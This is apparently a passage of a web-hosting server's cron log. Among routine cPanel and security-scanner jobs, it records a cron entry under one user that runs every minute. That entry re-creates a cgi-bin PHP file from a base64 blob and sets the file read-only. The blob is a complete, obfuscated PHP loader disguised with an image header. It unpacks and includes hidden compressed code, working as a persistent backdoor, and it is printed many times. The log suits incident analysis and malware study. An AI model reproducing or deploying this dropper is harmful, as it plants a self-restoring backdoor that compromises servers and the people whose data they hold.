SEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:04:01 server CROND[14125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:05:01 server CROND[14514]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:05:01 server CROND[14516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:05:01 server CROND[14525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:05:01 server CROND[14526]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 03:05:01 server CROND[14530]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:05:01 server CROND[14527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:05:01 server CROND[14528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:05:01 server CROND[14524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:06:01 server CROND[15380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:06:01 server CROND[15381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:06:01 server CROND[15382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:07:01 server CROND[15759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:07:01 server CROND[15760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:07:01 server CROND[15761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:08:01 server CROND[16138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:08:01 server CROND[16140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:08:01 server CROND[16141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:09:01 server CROND[16603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:09:01 server CROND[16604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:09:01 server CROND[16605]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 03:09:01 server CROND[16606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:10:01 server CROND[16994]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:10:01 server CROND[16996]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:10:01 server CROND[16997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:10:01 server CROND[17005]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:10:01 server CROND[17009]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:10:01 server CROND[17013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:10:01 server CROND[17011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:10:01 server CROND[17010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:11:01 server CROND[17846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:11:01 server CROND[17847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:11:01 server CROND[17849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:12:01 server CROND[18280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:12:01 server CROND[18282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:12:01 server CROND[18281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:12:01 server CROND[18283]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 03:13:01 server CROND[18658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:13:01 server CROND[18659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:13:01 server CROND[18661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:14:01 server CROND[19136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:14:01 server CROND[19137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:14:01 server CROND[19138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:15:01 server CROND[19547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:15:01 server CROND[19549]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:15:01 server CROND[19553]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 03:15:01 server CROND[19556]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:15:01 server CROND[19555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:15:01 server CROND[19558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:15:01 server CROND[19554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:15:01 server CROND[19557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:16:01 server CROND[20539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
